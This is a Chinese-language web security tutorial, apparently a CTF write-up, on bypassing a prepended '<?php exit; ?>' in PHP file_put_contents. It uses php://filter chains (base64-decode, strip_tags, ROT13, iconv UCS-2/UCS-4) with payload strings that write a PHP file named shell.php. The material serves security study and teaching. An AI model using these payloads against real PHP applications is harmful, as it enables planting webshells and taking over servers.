file_put_contents利用技巧(php://filter协议)

简介: file_put_contents利用技巧(php://filter协议)

Round 1

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法。

#方法一、base64编码

使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符(A-Z a-z 0-9 + /)'='补位,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最终效果:

#方法二、利用字符串操作方法+base64组合拳

除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echoreadfile('php://filter/read=string.strip_tags/resource=php://input');

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

最终效果:

#方法三、ROT13编码

原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

 

Round 2

<?php
$a = $_POST['txt'];
file_put_contents($a,"<?php exit();".$a);

这种是前后两个变量相同,假设$a可控情况。

这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<?php exit();,只不过构造起来相对更复杂一些。

#方法一、base64编码

根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如

$a=php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php
(    <?php phpinfo();?>    base64编码    PD9waHAgcGhwaW5mbygpOz8+      )

构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则(一串base64)是报个Warning,绕后跳过继续执行的(不会退出),所以按理说这样构造是“很完美”的。我们看下base-decode哪些字符👇

php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=shellphp

而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 过不掉,所以导致过滤器解码失败,从而报错...

这里用base64编码我还没找到好的方法,待补充...

#方法二、ROT13

rot13编码就不存在base64的问题,所以和前面base64构造的思路一样

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php

 

和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)

#方法三、iconv字符编码转换

通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式,而我们构造的转成可正常解析的

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');

?<hp phpipfn(o;)>?

这里用的是UCS-2,当然我们也可以用UCS-4

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload

$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php';
**or**
$a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx

 

 

#方法四、iconv字符编码转换+ROT13编码组合拳

和前后不同的变量的利用一样,相同变量一样可以使用组合拳,原因前面描述过了,就不赘述,这里就用UCS-2和rot13举一个例子吧

$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php'

#先将 <?php phpinfo(); ?> 进行rot13得到<?cuc cucvasb();?>

#再对<?cuc cucvasb();?>进行UCS2编码转换得到?<uc cucvcsa(b;)>?

#最后x 补位

#最终得到x?<uc cucvcsa(b;)>?

 

为何不用string.strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,这里需要找其他的编码方式进行构造。


参考:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://mp.weixin.qq.com/s/BXBe0sviIpjzQb49fk1TCg


相关文章
|
5月前
|
PHP
ctfshow-web3(伪协议php://input的利用)
ctfshow-web3(伪协议php://input的利用)
39 0
|
存储 移动开发 NoSQL
redis 通信协议,php实现redis协议
redis 通信协议,php实现redis协议
143 0
redis 通信协议,php实现redis协议
|
PHP
php://memory伪协议的使用
php://memory伪协议的使用
77 0
|
安全 网络安全 PHP
【网络安全篇】php伪协议-漏洞及其原理
🏆今日学习目标: 🍀学习php伪协议
344 0
【网络安全篇】php伪协议-漏洞及其原理
|
测试技术 网络性能优化 PHP
simps/mqtt v1.1.2 版本发布,首个支持 MQTT v5.0 协议的 PHP library
在此版本中支持了 auth 类型和上个版本中未支持属性,这也意味着 MQTT v5.0 的协议已经支持完毕,后面的版本也就剩下 Bug 修复和代码优化了
293 0
|
物联网 程序员 网络性能优化
simps/mqtt:适用于PHP的 MQTT 协议解析和协程客户端
Simps 的第一个版本 MQTT 库 就是参考了 Workerman 的实现,使其能够使用 Swoole 的协程能力,同时也修复了一些问题
649 0
|
移动开发 PHP
file_put_contents追加 一个很简单的php记录日志的函数
$str="我是日志内容!"; $str=$str.date("Y-m-d H:i:s",time())."\r\n"; file_put_contents('log.txt',$str,FILE_APPEND); file_put_contents() 的行为实际上等于依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 FILE_APPEND:在文件末尾以追加的方式写入数据 ———————————————— 版权声明:本文为CSDN博主「娃娃菜001」的原创文章,遵循CC
183 0
file_put_contents追加 一个很简单的php记录日志的函数
|
安全 PHP
PHP伪协议-文件包含漏洞常用的伪协议
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有 php://filter 读
539 0
PHP伪协议-文件包含漏洞常用的伪协议
|
网络安全 PHP
PHP函数file_get_contents()使用 https 协议时报错:SSL operation failed
报错提示: 总之就是https报错,采集不到数据
155 0
|
PHP
【PHP系列直播】深入理解 FastCGI 协议以及在 PHP 中的实现
直播地址 https://yq.aliyun.com/live/956 直播时间 2019年4月9日 20:00 主讲人 周梦康(楚松) 点击关注专家阿里云资深研发工程师,《深入 PHP 内核》作者之一 内容提要 传统 CGI 工作原理分析客户端访问某个 URL 地址之后,通过 GET/PO...
2191 0